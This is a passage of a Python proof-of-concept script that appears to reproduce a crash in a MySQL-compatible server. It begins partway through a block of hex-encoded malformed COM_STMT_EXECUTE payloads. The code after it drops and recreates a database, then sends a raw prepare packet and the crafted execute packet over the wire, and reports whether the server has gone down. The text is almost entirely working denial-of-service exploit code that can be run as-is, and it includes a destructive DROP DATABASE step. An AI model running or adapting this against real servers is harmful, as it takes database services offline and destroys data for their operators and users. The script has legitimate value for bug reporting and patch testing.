        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343
        4343434343434343434343434343434343434343434343434343434343434343434343434343433ea4e2ba7e4a526b92
        ae3da4020616248d81a6000000000669503193348421a6210bd56af32c7e2deb24ca7f6749c70b240f010018552b3068
        6c143ba0f63788a041edc54e708f5d1b127f1bd9000e0a0e57db8c2fc226bdfa73d4c948000000000506bf9a01000000
        000000000008bcabf64f84d9b7b002df7b776d2315000de102ab3926dfed501d829f982ff88650ecffffffffffffffff
        a43b4a35ad96036a1ac59ffa
        """
    ),
]
STEPS = [
    ("prepare",),
    ("execute", 0),
]


import argparse
import socket
import struct
import sys
import time

try:
    import mysql.connector
except ImportError:
    sys.exit("[!] Please install dependency: pip install mysql-connector-python")


DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 3306
DEFAULT_USER = "root"
DEFAULT_PASSWORD = ""
DEFAULT_DATABASE = "mydb"
DEFAULT_TIMEOUT = 20

SERVER_MORE_RESULTS_EXISTS = 0x0008


def qident(name):
    return "`" + name.replace("`", "``") + "`"


def connect(args, database=None, timeout=None):
    return mysql.connector.connect(
        host=args.host,
        port=args.port,
        user=args.user,
        password=args.password,
        database=database,
        connection_timeout=timeout or args.timeout,
        use_pure=True,
        autocommit=True,
    )


def setup_database(args):
    print(f"[*] Recreating database {args.database!r}")
    conn = connect(args)
    cur = conn.cursor()
    cur.execute(f"DROP DATABASE IF EXISTS {qident(args.database)}")
    cur.execute(f"CREATE DATABASE {qident(args.database)}")
    cur.close()
    conn.close()


def split_mysql_statements(script):
    statements = []
    buf = []
    i = 0
    state = None
    while i < len(script):
        ch = script[i]
        nxt = script[i + 1] if i + 1 < len(script) else ""

        if state == "single":
            buf.append(ch)
            if ch == "\\" and nxt:
                buf.append(nxt)
                i += 2
                continue
            if ch == "'":
                if nxt == "'":
                    buf.append(nxt)
                    i += 2
                    continue
                state = None
            i += 1
            continue

        if state == "double":
            buf.append(ch)
            if ch == "\\" and nxt:
                buf.append(nxt)
                i += 2
                continue
            if ch == '"':
                if nxt == '"':
                    buf.append(nxt)
                    i += 2
                    continue
                state = None
            i += 1
            continue

        if state == "backtick":
            buf.append(ch)
            if ch == "`":
                if nxt == "`":
                    buf.append(nxt)
                    i += 2
                    continue
                state = None
            i += 1
            continue

        if ch == "'":
            state = "single"
            buf.append(ch)
            i += 1
            continue
        if ch == '"':
            state = "double"
            buf.append(ch)
            i += 1
            continue
        if ch == "`":
            state = "backtick"
            buf.append(ch)
            i += 1
            continue

        if ch == "-" and nxt == "-" and (i + 2 == len(script) or script[i + 2].isspace()):
            i += 2
            while i < len(script) and script[i] not in "\r\n":
                i += 1
            continue
        if ch == "#":
            i += 1
            while i < len(script) and script[i] not in "\r\n":
                i += 1
            continue
        if ch == "/" and nxt == "*":
            i += 2
            while i + 1 < len(script) and not (script[i] == "*" and script[i + 1] == "/"):
                i += 1
            i += 2 if i + 1 <= len(script) else 0
            continue

        if ch == ";":
            statement = "".join(buf).strip()
            if statement:
                statements.append(statement)
            buf = []
            i += 1
            continue

        buf.append(ch)
        i += 1

    statement = "".join(buf).strip()
    if statement:
        statements.append(statement)
    return statements


def skip_setup_statement(sql):
    normalized = " ".join(sql.split()).lower()
    return (
        normalized.startswith("drop database ")
        or normalized.startswith("create database ")
        or normalized.startswith("use ")
    )


def run_sql(conn, sql):
    preview = " ".join(sql.split())[:140]
    print(f"[*] SQL: {preview}")
    cur = conn.cursor()
    cur.execute(sql)
    while cur.nextset():
        pass
    cur.close()


def apply_setup_sql(args):
    setup_database(args)
    conn = connect(args, database=args.database)
    try:
        for sql in split_mysql_statements(SETUP_SQL_SCRIPT):
            if skip_setup_statement(sql):
                continue
            run_sql(conn, sql)
    finally:
        conn.close()


def send_mysql_packet(sock, payload, seq=0):
    header = struct.pack("<I", len(payload))[:3] + bytes([seq & 0xFF])
    sock.sendall(header + payload)


def recv_exact(sock, n):
    data = bytearray()
    while len(data) < n:
        chunk = sock.recv(n - len(data))
        if not chunk:
            raise ConnectionError("server closed the connection")
        data.extend(chunk)
    return bytes(data)


def read_mysql_packet(sock):
    header = recv_exact(sock, 4)
    length = header[0] | (header[1] << 8) | (header[2] << 16)
    seq = header[3]
    payload = recv_exact(sock, length) if length else b""
    return seq, payload


def read_lenenc(payload, offset=0):
    first = payload[offset]
    offset += 1
    if first < 0xFB:
        return first, offset
    if first == 0xFC:
        return int.from_bytes(payload[offset:offset + 2], "little"), offset + 2
    if first == 0xFD:
        return int.from_bytes(payload[offset:offset + 3], "little"), offset + 3
    if first == 0xFE:
        return int.from_bytes(payload[offset:offset + 8], "little"), offset + 8
    return 0, offset


def status_flags(payload):
    if not payload:
        return 0
    first = payload[0]
    if first == 0xFE and 5 <= len(payload) < 9:
        return payload[3] | (payload[4] << 8)
    if first == 0x00 or (first == 0xFE and len(payload) >= 7):
        off = 1
        _, off = read_lenenc(payload, off)
        _, off = read_lenenc(payload, off)
        if off + 2 <= len(payload):
            return payload[off] | (payload[off + 1] << 8)
    return 0


def parse_err_packet(payload):
    if len(payload) < 4 or payload[0] != 0xFF:
        return "not an ERR packet"
    errno = struct.unpack_from("<H", payload, 1)[0]
    if len(payload) > 9 and payload[3:4] == b"#":
        msg = payload[9:].decode("utf-8", errors="replace")
    else:
        msg = payload[3:].decode("utf-8", errors="replace")
    return f"errno={errno}: {msg}"


def reconnect_fails(args):
    time.sleep(1.0)
    try:
        conn = connect(args, timeout=3)
        conn.close()
        return False
    except Exception as exc:
        print(f"[+] Reconnect failed: {exc}")
        return True


def report_disconnect(args, where, exc):
    print(f"[!!!] Connection lost while waiting for {where}: {exc}")
    if reconnect_fails(args):
        print("[!!!] BUG CONFIRMED: server appears to be down")
        return True
    print("[~] Reconnect succeeded; this looks like a connection-level failure only")
    return False


def build_execute_packet(stmt_id, template):
    payload = bytearray(template)
    struct.pack_into("<I", payload, 1, stmt_id)
    return bytes(payload)


def drain_prepare_metadata(sock, first):
    if not first:
        raise ConnectionError("empty PREPARE response")
    if first[0] == 0xFF:
        raise RuntimeError("PREPARE returned ERR: " + parse_err_packet(first))
    if first[0] != 0x00 or len(first) < 12:
        raise RuntimeError("unexpected PREPARE response: " + first[:32].hex())

    stmt_id = struct.unpack_from("<I", first, 1)[0]
    num_columns = struct.unpack_from("<H", first, 5)[0]
    num_params = struct.unpack_from("<H", first, 7)[0]
    print(f"    stmt_id={stmt_id}, num_params={num_params}, num_columns={num_columns}")

    for _ in range(num_params):
        read_mysql_packet(sock)
    if num_params:
        read_mysql_packet(sock)
    for _ in range(num_columns):
        read_mysql_packet(sock)
    if num_columns:
        read_mysql_packet(sock)
    return stmt_id


def send_prepare(args, sock):
    payload = b"\x16" + PREPARE_SQL.encode("utf-8")
    print(f"[*] COM_STMT_PREPARE: {len(payload)} bytes")
    send_mysql_packet(sock, payload, seq=0)
    try:
        _, first = read_mysql_packet(sock)
        return drain_prepare_metadata(sock, first)
    except (socket.timeout, ConnectionError, OSError) as exc:
        if report_disconnect(args, "COM_STMT_PREPARE", exc):
            return None
        raise


def drain_rows(sock, binary):
    while True:
        _, pkt = read_mysql_packet(sock)
        if not pkt:
            raise ConnectionError("empty row packet")
        if pkt[0] == 0xFF:
            print("    ERR:", parse_err_packet(pkt))
            return
        if pkt[0] == 0xFE and len(pkt) < 9:
            if status_flags(pkt) & SERVER_MORE_RESULTS_EXISTS:
                drain_result(sock, binary=False)
            return


def drain_resultset(sock, first, binary, has_cursor):
    column_count, _ = read_lenenc(first, 0)
    for _ in range(column_count):
        read_mysql_packet(sock)
    read_mysql_packet(sock)
    if has_cursor:
        return
    drain_rows(sock, binary)


def drain_result(sock, binary=False, has_cursor=False):
    _, first = read_mysql_packet(sock)
    if not first:
        raise ConnectionError("empty response packet")
    if first[0] == 0xFF:
        print("    ERR:", parse_err_packet(first))
        return
    if first[0] == 0x00 or (first[0] == 0xFE and len(first) < 9):
        if status_flags(first) & SERVER_MORE_RESULTS_EXISTS:
            drain_result(sock, binary=False)
        return
    drain_resultset(sock, first, binary, has_cursor)


def send_execute(args, sock, stmt_id, index):
    payload = build_execute_packet(stmt_id, EXECUTE_PAYLOADS[index])
    flags = payload[5]
    has_cursor = bool(flags & 0x07)
    print(f"[*] COM_STMT_EXECUTE #{index + 1}: flags=0x{flags:02x}, payload_len={len(payload)}")
    send_mysql_packet(sock, payload, seq=0)
    try:
        drain_result(sock, binary=True, has_cursor=has_cursor)
    except (socket.timeout, ConnectionError, OSError) as exc:
        return report_disconnect(args, "COM_STMT_EXECUTE", exc)
    return False


def run_protocol_sequence(args):
    conn = connect(args, database=args.database)
    sock = conn._socket.sock
    sock.settimeout(args.timeout)
    stmt_id = None
    try:
        for step in STEPS:
            kind = step[0]
            if kind == "prepare":
                stmt_id = send_prepare(args, sock)
                if stmt_id is None:
                    return 0
            elif kind == "execute":
                if stmt_id is None:
                    raise RuntimeError("COM_STMT_EXECUTE requested before COM_STMT_PREPARE")
                if send_execute(args, sock, stmt_id, step[1]):
                    return 0
            else:
                raise RuntimeError(f"unknown step: {kind}")
    finally:
        try:
            conn.close()
        except Exception:
            pass

    if reconnect_fails(args):
        print("[!!!] BUG CONFIRMED: server appears to be down after the sequence")
        return 0
    print("[~] Sequence completed without a confirmed server crash")
    return 1


def main():
    parser = argparse.ArgumentParser(description=SCRIPT_DESCRIPTION)
    parser.add_argument("-H", "--host", default=DEFAULT_HOST, metavar="<host>")
    parser.add_argument("-P", "--port", type=int, default=DEFAULT_PORT, metavar="<port>")
    parser.add_argument("-u", "--user", default=DEFAULT_USER, metavar="<user>")
    parser.add_argument("-p", "--password", default=DEFAULT_PASSWORD, metavar="<password>")
    parser.add_argument("-d", "--database", default=DEFAULT_DATABASE, metavar="<database>")
    parser.add_argument("--timeout", type=int, default=DEFAULT_TIMEOUT, metavar="<seconds>")
    args = parser.parse_args()

    apply_setup_sql(args)
    return run_protocol_sequence(args)


if __name__ == "__main__":
    sys.exit(main())
